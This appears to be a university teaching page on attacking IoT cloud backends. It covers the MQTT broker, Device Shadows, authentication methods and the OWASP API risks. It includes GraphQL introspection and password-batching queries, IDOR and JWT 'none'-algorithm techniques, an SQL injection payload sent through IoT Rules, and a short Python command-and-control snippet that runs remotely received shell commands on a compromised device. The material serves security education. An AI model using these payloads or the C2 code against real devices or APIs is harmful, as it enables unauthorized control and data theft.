Modern IoT devices are rarely standalone—they connect to cloud backends for device management, data
storage, user authentication, firmware updates, and remote control. AWS IoT Core, Azure IoT Hub, and
Google Cloud IoT provide managed platforms, but even the best infrastructure can't prevent
application-layer vulnerabilities.
The Force Multiplier: A vulnerability in a single device affects one user. A
vulnerability in the Cloud API affects every user. Compomising the cloud
backend is the "God Mode" of IoT hacking.
This week bridges Week 08 of CSY203 (Web Security) into the IoT context. You'll learn IoT cloud
architectures, test device APIs for common vulnerabilities (IDOR, Shadow Attacks), and understand
the unique risks of
centralized device management.
Week Learning Outcomes:
Architect secure IoT cloud backends using AWS/Azure components.
Differentiate between mTLS, SAS Tokens, and JWTs for device auth.
Exploit Device Shadow vulnerabilities to manipulate offline devices.
Inject malicious queries into IoT GraphQL endpoints.
Audit AWS IoT configurations using open-source tools (Pacu, ScoutSuite).
1) IoT Cloud Architecture: The Building Blocks
Whether it's AWS, Azure, or GCP, the components are the same. Understanding these is prerequisite to
attacking them.
The "Phonebook" of the IoT cloud. It lists every valid device allowed to connect.
Attacker Goal: Enumerate the registry to find valid Device IDs, serial numbers,
and metadata.
Common Flaw: Allow `iot:ListThings` permission to unauthenticated users or the
mobile app.
Component B: The Message Broker (MQTT)
The "Post Office". It routes messages between devices and the cloud using Topics.
- Publish: Sending data (Device -> `sensors/temp`).
- Subscribe: Listening for data (Mobile App <- `sensors/temp`).
Attacker Goal: Subscribe to `#` (Wildcard) to eavesdrop on ALL traffic from
ALL devices.
Component C: The Device Shadow (Digital Twin)
IoT devices are unreliable. They lose Wi-Fi, run out of battery, or sleep. The
Shadow is a virtual JSON document that exists in the cloud, representing the
device.
Reported State: Written by the device ("I am ON").
Desired State: Written by the user/app ("Turn OFF").
Delta: Calculated by the cloud. The device subscribes to `/delta` to know what
to do.
The Attack: If an attacker can write to the Desired state, they
control the device. If they can write to the Reported state, they can mask an attack
(e.g., reporting "Valve Closed" while flooding the room).
2) Authentication Mechanics: Establishing Trust
How do we know the "Smart Toaster" is actually our toaster? Authentication in IoT is harder than web
because devices update certificates.
Method A: Mutual TLS (mTLS) - The Gold Standard
Used by AWS IoT Core. Both sides present a certificate.
Process: 1. Device burns a Private Key (`device.key`) into secure storage (TPM/Secure Element) at the
factory.
2. Device sends Client Certificate (`device.crt`) during TLS Handshake.
3. Cloud verifies the Cert is signed by the Manufacturer CA.
Security: Extremely high. Keys never traverse the wire.
Python: Connecting with mTLS (Full Script)
# A complete client script to connect to AWS IoT Core
import time
import json
import paho.mqtt.client as mqtt
import ssl
# CONSTANTS
ENDPOINT = "a3xxxxxx.iot.us-east-1.amazonaws.com"
PORT = 8883
TOPIC = "device/123/data"
CLIENT_ID = "Device-123"
# FILES (Extracted from Firmware)
CA_CERT = "root-ca.pem"
DEVICE_CERT = "device.crt"
PRIVATE_KEY = "device.key" # The most valuable file
def on_connect(client, userdata, flags, rc):
print(f"Connected with result code {rc}")
# Subscribe to commands
client.subscribe("device/123/commands")
def on_message(client, userdata, msg):
print(f"Received message: {msg.topic} -> {msg.payload.decode()}")
# Setup Client
client = mqtt.Client(client_id=CLIENT_ID)
client.on_connect = on_connect
client.on_message = on_message
# Configure TLS - This is where the magic happens
client.tls_set(
ca_certs=CA_CERT,
certfile=DEVICE_CERT,
keyfile=PRIVATE_KEY,
tls_version=ssl.PROTOCOL_TLSv1_2
)
# Connect and Loop
print("[*] Connecting to IoT Core...")
client.connect(ENDPOINT, PORT, 60)
client.loop_start()
while True:
payload = {"temp": 25.5, "status": "OK"}
client.publish(TOPIC, json.dumps(payload))
print(f"Published: {payload}")
time.sleep(5)
Method B: SAS Tokens (Shared Access Signatures)
Used by Azure IoT Hub. A time-limited token signed with a symmetric key.
Risk: If the symmetric key is extracted from firmware, anyone can generate
valid tokens forever. There is no easy "revocation" without rotating the master key.
Method C: Just-in-Time (JIT) Provisioning
Device connects for the first time -> Cloud sees valid Manufacturer CA -> Cloud auto-creates a
"Thing" in the registry.
Vulnerability: If the Manufacturer CA private key leaks, attackers can
provision massive fake botnets to DDoS the platform.
3) IoT API Attack Surface
The "User" side of the equation. Usually REST or GraphQL.
REST Vulnerabilities
IDOR: `GET /device/123`. Change to `124`. Access neighbor's camera.
Mass Assignment: `PUT /device/123 { "isAdmin": true, "owner": "hacker"
}`.
Key Leaks: API keys hardcoded in the mobile app strings.xml.
GraphQL Vulnerabilities
Introspection: Querying `__schema` to download the entire database
structure.
Batching Attack: Sending 1000 queries in one HTTP request to bypass
rate limits.
Nested Queries: `author { posts { author { posts ... } } }` to DoS the
server.
Deep Dive: GraphQL Injection
Many modern IoT dashboards use GraphQL for flexibility. It is often secured poorly.
Malicious GraphQL Query: Introspection
# The "Introspection" Attack to find hidden admin fields
query {
__schema {
types {
name
fields {
name
description
}
}
}
}
# RESPONSE:
# "Type": "Device"
# "Fields": ["id", "name", "owner", "FIRMWARE_BACKDOOR_URL", "RESET_TOKEN"]
Malicious GraphQL Query: Batching
# Instead of guessing passwords one by one, guess 50 at once
query {
guess1: login(password: "1234") { token }
guess2: login(password: "admin") { token }
guess3: login(password: "password") { token }
...
}
4) The OWASP API Top 10 (IoT Context)
APIs are the most common entry point for mass IoT exploits. We map them to the OWASP framework.
The Flaw: The server checks Authentication (Who are you?) but not
Authorization (Do you own this object?).
Attack Scenario: User A logs in and gets Token A. User A captures the request `GET
/api/v1/cameras/video?id=555`. User A changes `id=555` to `id=556`. The server validates Token A,
sees it is valid, and streams the video from Camera 556 (User B's bedroom).
The Flaw: Weak JWT signing secrets, tokens that never expire, or predictable session
IDs.
Tool: Use `jwt_tool` to forge tokens. Try the "None Algorithm" attack (stripping
the signature header). Attackers can claim `{"role": "admin"}` and if the signature isn't checked,
the server believes it.
API3: Excessive Data Exposure
The Flaw: The backend returns a full object `SELECT * FROM users`, and the Mobile
App filters it blindly.
Attack: A smart lock API returning the "unlock_code" in the JSON response even when
just querying battery status.
API4: Lack of Resources & Rate Limiting
The Flaw: Allowing unlimited requests.
Attack: Flooding an MQTT broker with CONNECT packets to exhaust connection limits,
preventing legitimate devices from reporting alarms.
API5: Broken Function Level Authorization
The Flaw: Hiding admin buttons in the UI instead of securing the endpoint.
Attack: An attacker guesses `POST /api/admin/reboot` and sends it with a normal user
token. If the backend doesn't check for Admin Role, it executes.
6) Deep Dive: Cloud C2 (Command & Control)
Attackers are moving away from IRC/HTTP botnets and using valid Cloud IoT infrastructure for C2.
Why?
Traffic looks legitimate (it goes to `amazonaws.com` or `azure-devices.net`).
Firewalls allow outbound MQTT/443.
High availability and persistence.
The Mechanism: The attacker compromises a device, then uses the existing MQTT
connection to subscribe to a hidden topic `updates/evil`. They publish commands to this topic via
the Cloud, and the device executes them.
Python: The Cloud C2 Client
# A malicious payload injected into the device
def on_message(client, userdata, msg):
if msg.topic == "updates/evil":
command = msg.payload.decode()
# Execute command and publish output back
output = subprocess.check_output(command, shell=True)
client.publish("updates/evil/output", output)
client.subscribe("updates/evil")
# Now the attacker controls the device using AWS/Azure as the proxy!
7) Cloud-Native Vulnerabilities
Attacking the infrastructure configuration itself.
S3 Bucket Exposure
Scenario: Vendor hosts firmware updates in an S3 bucket.
Mistake: `Authenticated Users` permission usually means "Any AWS user
globally", not "Users in my account".
Impact: Attackers download firmware, reverse engineer it, find keys, and
compromise the fleet.
IoT Rules Injection
AWS IoT Rules use SQL-like syntax: `SELECT * FROM 'topic/#'`.
If the rule passes data to a Lambda function: `INSERT INTO DB VALUES ('$payload.data')`.
Attack: Send payload `'); DROP TABLE devices; --`. This is Second-Order
SQL Injection routing through MQTT -> Rule -> Lambda -> Database.
Serverless Attacks
Lambda functions are ephemeral, but they reuse containers for performance ("Warm Start").
Attack: If you can gain RCE in a Lambda (via injection), you can store data in
`/tmp` or modify the running process memory. The Next Request from a different user
might be served by the same infected container, leaking their data.
Guided Lab: The Shadow Play
Objective: Use AWS CLI to manipulate a Device Shadow and trigger a state change.
Scenario: You have obtained a set of AWS Keys from a decompiled mobile app.
A JSON document in the cloud that stores the current and desired state of a device.
IDOR
Insecure Direct Object Reference. Accessing data by simply changing an ID number.
mTLS
Mutual TLS. Authentication where BOTH client and server present certificates.
SAS Token
Shared Access Signature. A string token signed with a symmetric key (Azure style).
GraphQL
A query language for APIs. Allows clients to request exactly the data they need.
Introspection
A GraphQL feature that allows querying the schema itself (like `SHOW TABLES` in SQL).
JIT Provisioning
Just-in-Time. Automatically creating a device identity when it first connects with a valid
certificate.
MQTT
Message Queuing Telemetry Transport. The lightweight pub/sub protocol used by IoT.
Delta
The difference between the Desired State (Cloud) and Reported State (Device).
IoT Rule
A cloud-side script that triggers actions (Database Insert, Lambda, Alert) based on MQTT
messages.
Weekly Reflection: Digital Feudalism
We are entering an era of Digital Feudalism. In the past, when you bought a chair,
you owned the chair. You could paint it, break it, or sell it.
Today, when you buy a smart thermostat, you are merely a tenant in a digital ecosystem owned by the
landlord (Google, Amazon, Apple). You own the plastic and the glass, but you do not own the
logic that makes it valuable.
If the landlord decides your device is "obsolete", they can turn it off remotely. If they decide you
are using it in a way they dislike, they can lock you out. As security professionals, we must ask:
Are we building secure systems for the users, or are we building secure prisons
for the users?
"If you can't open it, you don't own it." — Maker Manifesto